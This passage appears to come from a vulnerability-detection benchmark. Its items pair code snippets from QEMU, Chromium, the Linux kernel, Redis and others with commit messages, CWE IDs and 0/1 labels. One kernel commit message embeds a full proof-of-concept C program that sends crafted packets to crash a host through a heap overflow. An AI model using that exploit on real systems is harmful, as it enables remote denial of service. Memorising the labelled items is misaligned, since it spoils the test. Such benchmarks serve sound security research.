AHCIPCIState *d = container_of(s, AHCIPCIState, ahci);
PCIDevice *pci_dev =
(PCIDevice *)object_dynamic_cast(OBJECT(d), TYPE_PCI_DEVICE);
DPRINTF(0, "raise irq\n");
if (pci_dev && msi_enabled(pci_dev)) {
msi_notify(pci_dev, 0);
} else {
qemu_irq_raise(s->irq);
}
}
Commit Message:
CWE ID: CWE-399
| 0
| 6,671
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: const ResourceLoaderOptions& ResourceFetcher::defaultResourceOptions()
{
DEFINE_STATIC_LOCAL(ResourceLoaderOptions, options, (SniffContent, BufferData, AllowStoredCredentials, ClientRequestedCredentials, CheckContentSecurityPolicy, DocumentContext));
return options;
}
Commit Message: Enforce SVG image security rules
SVG images have unique security rules that prevent them from loading
any external resources. This patch enforces these rules in
ResourceFetcher::canRequest for all non-data-uri resources. This locks
down our SVG resource handling and fixes two security bugs.
In the case of SVG images that reference other images, we had a bug
where a cached subresource would be used directly from the cache.
This has been fixed because the canRequest check occurs before we use
cached resources.
In the case of SVG images that use CSS imports, we had a bug where
imports were blindly requested. This has been fixed by stopping all
non-data-uri requests in SVG images.
With this patch we now match Gecko's behavior on both testcases.
BUG=380885, 382296
Review URL: https://codereview.chromium.org/320763002
git-svn-id: svn://svn.chromium.org/blink/trunk@176084 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-264
| 0
| 121,223
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int set_next_request(void)
{
struct request_queue *q;
int old_pos = fdc_queue;
do {
q = disks[fdc_queue]->queue;
if (++fdc_queue == N_DRIVE)
fdc_queue = 0;
if (q) {
current_req = blk_fetch_request(q);
if (current_req)
break;
}
} while (fdc_queue != old_pos);
return current_req != NULL;
}
Commit Message: floppy: don't write kernel-only members to FDRAWCMD ioctl output
Do not leak kernel-only floppy_raw_cmd structure members to userspace.
This includes the linked-list pointer and the pointer to the allocated
DMA space.
Signed-off-by: Matthew Daley <mattd@bugfuzz.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264
| 0
| 39,436
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void seqiv_aead_complete(struct crypto_async_request *base, int err)
{
struct aead_givcrypt_request *req = base->data;
seqiv_aead_complete2(req, err);
aead_givcrypt_complete(req, err);
}
Commit Message: crypto: include crypto- module prefix in template
This adds the module loading prefix "crypto-" to the template lookup
as well.
For example, attempting to load 'vfat(blowfish)' via AF_ALG now correctly
includes the "crypto-" prefix at every level, correctly rejecting "vfat":
net-pf-38
algif-hash
crypto-vfat(blowfish)
crypto-vfat(blowfish)-all
crypto-vfat
Reported-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: Kees Cook <keescook@chromium.org>
Acked-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-264
| 0
| 45,887
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void _addReplyStringToList(client *c, const char *s, size_t len) {
robj *tail;
if (c->flags & CLIENT_CLOSE_AFTER_REPLY) return;
if (listLength(c->reply) == 0) {
robj *o = createStringObject(s,len);
listAddNodeTail(c->reply,o);
c->reply_bytes += getStringObjectSdsUsedMemory(o);
} else {
tail = listNodeValue(listLast(c->reply));
/* Append to this object when possible. */
if (tail->ptr != NULL && tail->encoding == OBJ_ENCODING_RAW &&
sdslen(tail->ptr)+len <= PROTO_REPLY_CHUNK_BYTES)
{
c->reply_bytes -= sdsZmallocSize(tail->ptr);
tail = dupLastObjectIfNeeded(c->reply);
tail->ptr = sdscatlen(tail->ptr,s,len);
c->reply_bytes += sdsZmallocSize(tail->ptr);
} else {
robj *o = createStringObject(s,len);
listAddNodeTail(c->reply,o);
c->reply_bytes += getStringObjectSdsUsedMemory(o);
}
}
asyncCloseClientOnOutputBufferLimitReached(c);
}
Commit Message: Security: Cross Protocol Scripting protection.
This is an attempt at mitigating problems due to cross protocol
scripting, an attack targeting services using line oriented protocols
like Redis that can accept HTTP requests as valid protocol, by
discarding the invalid parts and accepting the payloads sent, for
example, via a POST request.
For this to be effective, when we detect POST and Host: and terminate
the connection asynchronously, the networking code was modified in order
to never process further input. It was later verified that in a
pipelined request containing a POST command, the successive commands are
not executed.
CWE ID: CWE-254
| 0
| 69,924
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void fscrypt_destroy(void)
{
struct fscrypt_ctx *pos, *n;
list_for_each_entry_safe(pos, n, &fscrypt_free_ctxs, free_list)
kmem_cache_free(fscrypt_ctx_cachep, pos);
INIT_LIST_HEAD(&fscrypt_free_ctxs);
mempool_destroy(fscrypt_bounce_page_pool);
fscrypt_bounce_page_pool = NULL;
}
Commit Message: fscrypt: remove broken support for detecting keyring key revocation
Filesystem encryption ostensibly supported revoking a keyring key that
had been used to "unlock" encrypted files, causing those files to become
"locked" again. This was, however, buggy for several reasons, the most
severe of which was that when key revocation happened to be detected for
an inode, its fscrypt_info was immediately freed, even while other
threads could be using it for encryption or decryption concurrently.
This could be exploited to crash the kernel or worse.
This patch fixes the use-after-free by removing the code which detects
the keyring key having been revoked, invalidated, or expired. Instead,
an encrypted inode that is "unlocked" now simply remains unlocked until
it is evicted from memory. Note that this is no worse than the case for
block device-level encryption, e.g. dm-crypt, and it still remains
possible for a privileged user to evict unused pages, inodes, and
dentries by running 'sync; echo 3 > /proc/sys/vm/drop_caches', or by
simply unmounting the filesystem. In fact, one of those actions was
already needed anyway for key revocation to work even somewhat sanely.
This change is not expected to break any applications.
In the future I'd like to implement a real API for fscrypt key
revocation that interacts sanely with ongoing filesystem operations ---
waiting for existing operations to complete and blocking new operations,
and invalidating and sanitizing key material and plaintext from the VFS
caches. But this is a hard problem, and for now this bug must be fixed.
This bug affected almost all versions of ext4, f2fs, and ubifs
encryption, and it was potentially reachable in any kernel configured
with encryption support (CONFIG_EXT4_ENCRYPTION=y,
CONFIG_EXT4_FS_ENCRYPTION=y, CONFIG_F2FS_FS_ENCRYPTION=y, or
CONFIG_UBIFS_FS_ENCRYPTION=y). Note that older kernels did not use the
shared fs/crypto/ code, but due to the potential security implications
of this bug, it may still be worthwhile to backport this fix to them.
Fixes: b7236e21d55f ("ext4 crypto: reorganize how we store keys in the inode")
Cc: stable@vger.kernel.org # v4.2+
Signed-off-by: Eric Biggers <ebiggers@google.com>
Signed-off-by: Theodore Ts'o <tytso@mit.edu>
Acked-by: Michael Halcrow <mhalcrow@google.com>
CWE ID: CWE-416
| 0
| 67,635
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: iperf_get_test_role(struct iperf_test *ipt)
{
return ipt->role;
}
Commit Message: Fix a buffer overflow / heap corruption issue that could occur if a
malformed JSON string was passed on the control channel. This issue,
present in the cJSON library, was already fixed upstream, so was
addressed here in iperf3 by importing a newer version of cJSON (plus
local ESnet modifications).
Discovered and reported by Dave McDaniel, Cisco Talos.
Based on a patch by @dopheide-esnet, with input from @DaveGamble.
Cross-references: TALOS-CAN-0164, ESNET-SECADV-2016-0001,
CVE-2016-4303
(cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40)
Signed-off-by: Bruce A. Mah <bmah@es.net>
CWE ID: CWE-119
| 0
| 53,390
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PassRefPtr<Attr> Document::createAttributeNS(const String& namespaceURI, const String& qualifiedName, ExceptionState& es, bool shouldIgnoreNamespaceChecks)
{
String prefix, localName;
if (!parseQualifiedName(qualifiedName, prefix, localName, es))
return 0;
QualifiedName qName(prefix, localName, namespaceURI);
if (!shouldIgnoreNamespaceChecks && !hasValidNamespaceForAttributes(qName)) {
es.throwUninformativeAndGenericDOMException(NamespaceError);
return 0;
}
return Attr::create(*this, qName, emptyString());
}
Commit Message: Refactoring: Move m_mayDisplaySeamlesslyWithParent down to Document
The member is used only in Document, thus no reason to
stay in SecurityContext.
TEST=none
BUG=none
R=haraken@chromium.org, abarth, haraken, hayato
Review URL: https://codereview.chromium.org/27615003
git-svn-id: svn://svn.chromium.org/blink/trunk@159829 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20
| 0
| 102,651
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void AutofillPopupViewViews::AddExtraInitParams(
views::Widget::InitParams* params) {}
Commit Message: [Autofill] Remove AutofillPopupViewViews and associated feature.
Bug: 906135,831603
Change-Id: I3c982f8b3ffb4928c7c878e74e10113999106499
Reviewed-on: https://chromium-review.googlesource.com/c/1387124
Reviewed-by: Robert Kaplow <rkaplow@chromium.org>
Reviewed-by: Vasilii Sukhanov <vasilii@chromium.org>
Reviewed-by: Fabio Tirelo <ftirelo@chromium.org>
Reviewed-by: Tommy Martino <tmartino@chromium.org>
Commit-Queue: Mathieu Perreault <mathp@chromium.org>
Cr-Commit-Position: refs/heads/master@{#621360}
CWE ID: CWE-416
| 0
| 130,582
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: size_t Parcel::ipcObjectsCount() const
{
return mObjectsSize;
}
Commit Message: Disregard alleged binder entities beyond parcel bounds
When appending one parcel's contents to another, ignore binder
objects within the source Parcel that appear to lie beyond the
formal bounds of that Parcel's data buffer.
Bug 17312693
Change-Id: If592a260f3fcd9a56fc160e7feb2c8b44c73f514
(cherry picked from commit 27182be9f20f4f5b48316666429f09b9ecc1f22e)
CWE ID: CWE-264
| 0
| 157,279
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void OfflinePageModelImpl::GetAllPages(
const MultipleOfflinePageItemCallback& callback) {
OfflinePageModelQueryBuilder builder;
RunWhenLoaded(
base::Bind(&OfflinePageModelImpl::GetPagesMatchingQueryWhenLoadDone,
weak_ptr_factory_.GetWeakPtr(),
base::Passed(builder.Build(GetPolicyController())), callback));
}
Commit Message: Add the method to check if offline archive is in internal dir
Bug: 758690
Change-Id: I8bb4283fc40a87fa7a87df2c7e513e2e16903290
Reviewed-on: https://chromium-review.googlesource.com/828049
Reviewed-by: Filip Gorski <fgorski@chromium.org>
Commit-Queue: Jian Li <jianli@chromium.org>
Cr-Commit-Position: refs/heads/master@{#524232}
CWE ID: CWE-787
| 0
| 155,878
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ExtensionService::SetIsIncognitoEnabled(
const std::string& extension_id, bool enabled) {
const Extension* extension = GetInstalledExtension(extension_id);
if (extension && extension->location() == Extension::COMPONENT) {
NOTREACHED();
return;
}
bool old_enabled = extension_prefs_->IsIncognitoEnabled(extension_id);
if (enabled == old_enabled)
return;
extension_prefs_->SetIsIncognitoEnabled(extension_id, enabled);
const Extension* enabled_extension = GetExtensionById(extension_id, false);
if (enabled_extension) {
NotifyExtensionUnloaded(
enabled_extension, extension_misc::UNLOAD_REASON_DISABLE);
NotifyExtensionLoaded(enabled_extension);
}
if (extension)
SyncExtensionChangeIfNeeded(*extension);
}
Commit Message: Limit extent of webstore app to just chrome.google.com/webstore.
BUG=93497
TEST=Try installing extensions and apps from the webstore, starting both being
initially logged in, and not.
Review URL: http://codereview.chromium.org/7719003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@97986 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
| 0
| 98,646
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: SPL_METHOD(SplFileObject, eof)
{
spl_filesystem_object *intern = (spl_filesystem_object*)zend_object_store_get_object(getThis() TSRMLS_CC);
if (zend_parse_parameters_none() == FAILURE) {
return;
}
RETURN_BOOL(php_stream_eof(intern->u.file.stream));
} /* }}} */
/* {{{ proto void SplFileObject::valid()
Commit Message: Fix bug #72262 - do not overflow int
CWE ID: CWE-190
| 1
| 167,052
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void print_version() {
fprintf(stderr, PROGRAM_NAME " " PROGRAM_VERSION "\n");
}
Commit Message: Merge pull request #20 from eyalitki/master
2nd round security fixes from eyalitki
CWE ID: CWE-119
| 0
| 50,286
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void send_error_to_client_(const FLAC__StreamDecoder *decoder, FLAC__StreamDecoderErrorStatus status)
{
if(!decoder->private_->is_seeking)
decoder->private_->error_callback(decoder, status, decoder->private_->client_data);
else if(status == FLAC__STREAM_DECODER_ERROR_STATUS_UNPARSEABLE_STREAM)
decoder->private_->unparseable_frame_count++;
}
Commit Message: Avoid free-before-initialize vulnerability in heap
Bug: 27211885
Change-Id: Ib9c93bd9ffdde2a5f8d31a86f06e267dc9c152db
CWE ID: CWE-119
| 0
| 161,246
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline struct task_group *css_tg(struct cgroup_subsys_state *css)
{
return css ? container_of(css, struct task_group, css) : NULL;
}
Commit Message: Merge branch 'stacking-fixes' (vfs stacking fixes from Jann)
Merge filesystem stacking fixes from Jann Horn.
* emailed patches from Jann Horn <jannh@google.com>:
sched: panic on corrupted stack end
ecryptfs: forbid opening files without mmap handler
proc: prevent stacking filesystems on top
CWE ID: CWE-119
| 0
| 55,519
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void BluetoothAdapterChromeOS::OnStopDiscoveryError(
const ErrorCallback& error_callback,
const std::string& error_name,
const std::string& error_message) {
LOG(WARNING) << object_path_.value() << ": Failed to stop discovery: "
<< error_name << ": " << error_message;
error_callback.Run();
}
Commit Message: Refactor to support default Bluetooth pairing delegate
In order to support a default pairing delegate we need to move the agent
service provider delegate implementation from BluetoothDevice to
BluetoothAdapter while retaining the existing API.
BUG=338492
TEST=device_unittests, unit_tests, browser_tests
Review URL: https://codereview.chromium.org/148293003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@252216 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 112,527
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline void adjust_tsc_offset_host(struct kvm_vcpu *vcpu, s64 adjustment)
{
if (vcpu->arch.tsc_scaling_ratio != kvm_default_tsc_scaling_ratio)
WARN_ON(adjustment < 0);
adjustment = kvm_scale_tsc(vcpu, (u64) adjustment);
kvm_x86_ops->adjust_tsc_offset_guest(vcpu, adjustment);
}
Commit Message: KVM: x86: Reload pit counters for all channels when restoring state
Currently if userspace restores the pit counters with a count of 0
on channels 1 or 2 and the guest attempts to read the count on those
channels, then KVM will perform a mod of 0 and crash. This will ensure
that 0 values are converted to 65536 as per the spec.
This is CVE-2015-7513.
Signed-off-by: Andy Honig <ahonig@google.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID:
| 0
| 57,667
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void AttachService() {
const void* kKey = TestingDomainReliabilityServiceFactoryUserData::kKey;
TestingDomainReliabilityServiceFactoryUserData* data =
new TestingDomainReliabilityServiceFactoryUserData(profile_,
mock_service_);
EXPECT_FALSE(profile_->GetUserData(kKey));
profile_->SetUserData(kKey, base::WrapUnique(data));
DomainReliabilityServiceFactory::GetInstance()->SetTestingFactoryAndUse(
profile_,
&TestingDomainReliabilityServiceFactoryFunction);
EXPECT_EQ(data, profile_->GetUserData(kKey));
EXPECT_TRUE(data->attached);
profile_->RemoveUserData(kKey);
}
Commit Message: Don't downcast DownloadManagerDelegate to ChromeDownloadManagerDelegate.
DownloadManager has public SetDelegate method and tests and or other subsystems
can install their own implementations of the delegate.
Bug: 805905
Change-Id: Iecf1e0aceada0e1048bed1e2d2ceb29ca64295b8
TBR: tests updated to follow the API change.
Reviewed-on: https://chromium-review.googlesource.com/894702
Reviewed-by: David Vallet <dvallet@chromium.org>
Reviewed-by: Min Qin <qinmin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#533515}
CWE ID: CWE-125
| 0
| 154,254
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: status_t Parcel::readByteVector(std::vector<uint8_t>* val) const {
return readByteVectorInternal(this, val);
}
Commit Message: Add bound checks to utf16_to_utf8
Bug: 29250543
Change-Id: I518e7b2fe10aaa3f1c1987586a09b1110aff7e1a
(cherry picked from commit 7e93b2ddcb49b5365fbe1dab134ffb38e6f1c719)
CWE ID: CWE-119
| 0
| 163,566
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ChromeContentBrowserClient::GetInitiatorSchemeBypassingDocumentBlocking() {
#if BUILDFLAG(ENABLE_EXTENSIONS)
return extensions::kExtensionScheme;
#else
return nullptr;
#endif
}
Commit Message: Move IsDataSaverEnabledByUser to be a static method and use it
This method now officially becomes the source of truth that
everything in the code base eventually calls into to determine whether
or not DataSaver is enabled.
Bug: 934399
Change-Id: Iae837b710ace8cc3101188f79d02cbc2d4f0fd93
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1537242
Reviewed-by: Joshua Pawlicki <waffles@chromium.org>
Reviewed-by: Tarun Bansal <tbansal@chromium.org>
Commit-Queue: Robert Ogden <robertogden@chromium.org>
Cr-Commit-Position: refs/heads/master@{#643948}
CWE ID: CWE-119
| 0
| 142,657
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void oz_complete_urb(struct usb_hcd *hcd, struct urb *urb,
int status)
{
struct oz_hcd *ozhcd = oz_hcd_private(hcd);
unsigned long irq_state;
struct oz_urb_link *cancel_urbl;
spin_lock_irqsave(&g_tasklet_lock, irq_state);
usb_hcd_unlink_urb_from_ep(hcd, urb);
/* Clear hcpriv which will prevent it being put in the cancel list
* in the event that an attempt is made to cancel it.
*/
urb->hcpriv = NULL;
/* Walk the cancel list in case the urb is already sitting there.
* Since we process the cancel list in a tasklet rather than in
* the dequeue function this could happen.
*/
cancel_urbl = oz_uncancel_urb(ozhcd, urb);
/* Note: we release lock but do not enable local irqs.
* It appears that usb_hcd_giveback_urb() expects irqs to be disabled,
* or at least other host controllers disable interrupts at this point
* so we do the same. We must, however, release the lock otherwise a
* deadlock will occur if an urb is submitted to our driver in the urb
* completion function. Because we disable interrupts it is possible
* that the urb_enqueue function can be called with them disabled.
*/
spin_unlock(&g_tasklet_lock);
if (oz_forget_urb(urb)) {
oz_dbg(ON, "ERROR Unknown URB %p\n", urb);
} else {
atomic_dec(&g_pending_urbs);
usb_hcd_giveback_urb(hcd, urb, status);
}
spin_lock(&g_tasklet_lock);
spin_unlock_irqrestore(&g_tasklet_lock, irq_state);
oz_free_urb_link(cancel_urbl);
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189
| 0
| 43,163
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void GLES2DecoderImpl::DoUniform3fv(GLint fake_location,
GLsizei count,
const volatile GLfloat* value) {
GLenum type = 0;
GLint real_location = -1;
if (!PrepForSetUniformByLocation(fake_location,
"glUniform3fv",
Program::kUniform3f,
&real_location,
&type,
&count)) {
return;
}
if (type == GL_BOOL_VEC3) {
GLsizei num_values = count * 3;
std::unique_ptr<GLint[]> temp(new GLint[num_values]);
for (GLsizei ii = 0; ii < num_values; ++ii) {
temp[ii] = static_cast<GLint>(value[ii] != 0.0f);
}
api()->glUniform3ivFn(real_location, count, temp.get());
} else {
api()->glUniform3fvFn(real_location, count,
const_cast<const GLfloat*>(value));
}
}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416
| 0
| 141,393
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: std::unique_ptr<gfx::GpuMemoryBuffer> GLManager::CreateGpuMemoryBuffer(
const gfx::Size& size,
gfx::BufferFormat format) {
#if defined(OS_MACOSX)
if (use_iosurface_memory_buffers_) {
return base::WrapUnique<gfx::GpuMemoryBuffer>(
new IOSurfaceGpuMemoryBuffer(size, format));
}
#endif // defined(OS_MACOSX)
std::vector<uint8_t> data(gfx::BufferSizeForBufferFormat(size, format), 0);
scoped_refptr<base::RefCountedBytes> bytes(new base::RefCountedBytes(data));
return base::WrapUnique<gfx::GpuMemoryBuffer>(
new GpuMemoryBufferImpl(bytes.get(), size, format));
}
Commit Message: Fix tabs sharing TEXTURE_2D_ARRAY/TEXTURE_3D data.
In linux and android, we are seeing an issue where texture data from one
tab overwrites the texture data of another tab. This is happening for apps
which are using webgl2 texture of type TEXTURE_2D_ARRAY/TEXTURE_3D.
Due to a bug in virtual context save/restore code for above texture formats,
the texture data is not properly restored while switching tabs. Hence
texture data from one tab overwrites other.
This CL has fix for that issue, an update for existing test expectations
and a new unit test for this bug.
Bug: 788448
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: Ie933984cdd2d1381f42eb4638f730c8245207a28
Reviewed-on: https://chromium-review.googlesource.com/930327
Reviewed-by: Zhenyao Mo <zmo@chromium.org>
Commit-Queue: vikas soni <vikassoni@chromium.org>
Cr-Commit-Position: refs/heads/master@{#539111}
CWE ID: CWE-200
| 0
| 150,035
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void handle_new_lsr(struct edgeport_port *edge_port, int lsr_data,
__u8 lsr, __u8 data)
{
struct async_icount *icount;
__u8 new_lsr = (__u8)(lsr & (__u8)(LSR_OVER_ERR | LSR_PAR_ERR |
LSR_FRM_ERR | LSR_BREAK));
dev_dbg(&edge_port->port->dev, "%s - %02x\n", __func__, new_lsr);
edge_port->shadow_lsr = lsr;
if (new_lsr & LSR_BREAK)
/*
* Parity and Framing errors only count if they
* occur exclusive of a break being received.
*/
new_lsr &= (__u8)(LSR_OVER_ERR | LSR_BREAK);
/* Place LSR data byte into Rx buffer */
if (lsr_data)
edge_tty_recv(edge_port->port, &data, 1);
/* update input line counters */
icount = &edge_port->port->icount;
if (new_lsr & LSR_BREAK)
icount->brk++;
if (new_lsr & LSR_OVER_ERR)
icount->overrun++;
if (new_lsr & LSR_PAR_ERR)
icount->parity++;
if (new_lsr & LSR_FRM_ERR)
icount->frame++;
}
Commit Message: USB: serial: io_ti: fix information leak in completion handler
Add missing sanity check to the bulk-in completion handler to avoid an
integer underflow that can be triggered by a malicious device.
This avoids leaking 128 kB of memory content from after the URB transfer
buffer to user space.
Fixes: 8c209e6782ca ("USB: make actual_length in struct urb field u32")
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable <stable@vger.kernel.org> # 2.6.30
Signed-off-by: Johan Hovold <johan@kernel.org>
CWE ID: CWE-191
| 0
| 66,098
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: GLenum GLES2DecoderImpl::GetBoundDrawFrameBufferInternalFormat() {
FramebufferManager::FramebufferInfo* framebuffer =
GetFramebufferInfoForTarget(GL_DRAW_FRAMEBUFFER);
if (framebuffer != NULL) {
